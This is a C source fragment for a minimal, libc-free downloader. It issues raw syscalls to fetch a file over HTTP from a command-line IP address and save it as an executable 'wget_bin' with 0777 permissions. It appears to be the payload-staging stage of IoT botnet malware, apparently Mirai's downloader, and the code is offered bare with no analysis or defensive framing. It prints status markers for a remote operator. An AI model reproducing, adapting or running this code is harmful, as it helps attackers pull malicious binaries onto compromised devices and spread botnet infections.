#define SCN(n) ((n) & 0xfffff)
#else
#define SCN(n) (n)
#endif
/* stdlib calls */
int xsocket(int, int, int);
int xwrite(int, void *, int);
int xread(int, void *, int);
int xconnect(int, struct sockaddr_in *, int);
int xopen(char *, int, int);
int xclose(int);
void x__exit(int);
#define socket xsocket
#define write xwrite
#define read xread
#define connect xconnect
#define open xopen
#define close xclose
#define __exit x__exit
#ifdef DEBUG
void xprintf(char *str)
{
write(1, str, strlen(str));
}
#define printf xprintf
#endif
// wget ip_address remote_file host
int main(int argc, char **args)
{
char recvbuf[128];
struct sockaddr_in addr;
int sfd, ffd;
unsigned int header_parser = 0;
write(STDOUT, EXEC_MSG, EXEC_MSG_LEN);
addr.sin_family = AF_INET;
addr.sin_port = HTONS(80);
addr.sin_addr.s_addr = inet_addr(args[1]);
ffd = open("wget_bin", O_WRONLY | O_CREAT | O_TRUNC, 0777);
sfd = socket(AF_INET, SOCK_STREAM, 0);
#ifdef DEBUG
if (ffd == -1)
printf("Failed to open file!\n");
if (sfd == -1)
printf("Failed to call socket()\n");
#endif
if (sfd == -1 || ffd == -1)
__exit(1);
if (connect(sfd, &addr, sizeof (struct sockaddr_in)) == -1)
__exit(2);
write(sfd, "GET ", 4);
write(sfd, args[2], strlen(args[2]));
write(sfd, " HTTP/1.1\r\n", 11);
write(sfd, "Host: ", 6);
write(sfd, args[3], strlen(args[3]));
write(sfd, "\r\nConnection: close\r\n\r\n", 23);
while (header_parser != 0x0d0a0d0a)
{
char ch;
int ret = read(sfd, &ch, 1);
if (ret != 1)
__exit(4);
header_parser = (header_parser << 8) | ch;
}
#ifdef DEBUG
printf("Finished receiving HTTP header\n");
#endif
while (1)
{
int ret = read(sfd, recvbuf, sizeof (recvbuf));
if (ret <= 0)
break;
write(ffd, recvbuf, ret);
}
close(sfd);
close(ffd);
write(STDOUT, DOWNLOAD_MSG, DOWNLOAD_MSG_LEN);
__exit(5);
}
int xsocket(int domain, int type, int protocol)
{
#if !defined(__NR_socket)
struct {
int domain, type, protocol;
} socketcall;
socketcall.domain = domain;
socketcall.type = type;
socketcall.protocol = protocol;
return syscall(SCN(SYS_socketcall), 1 /* SYS_SOCKET */, &socketcall);
#else
return syscall(SCN(SYS_socket), domain, type, protocol);
#endif
}
int xread(int fd, void *buf, int len)
{
return syscall(SCN(SYS_read), fd, buf, len);
}
int xwrite(int fd, void *buf, int len)
{
return syscall(SCN(SYS_write), fd, buf, len);
}
int xconnect(int fd, struct sockaddr_in *addr, int len)
{
#if !defined(__NR_socket)
struct {
int fd;
struct sockaddr_in *addr;
int len;
} socketcall;
socketcall.fd = fd;
socketcall.addr = addr;
socketcall.len = len;
return syscall(SCN(SYS_socketcall), 3 /* SYS_CONNECT */, &socketcall);
#else
return syscall(SCN(SYS_connect), fd, addr, len);
#endif
}
int xopen(char *path, int flags, int other)
{
return syscall(SCN(SYS_open), path, flags, other);
}
int xclose(int fd)
{
return syscall(SCN(SYS_close), fd);
}
void x__exit(int code)
{
syscall(SCN(SYS_exit), code);
}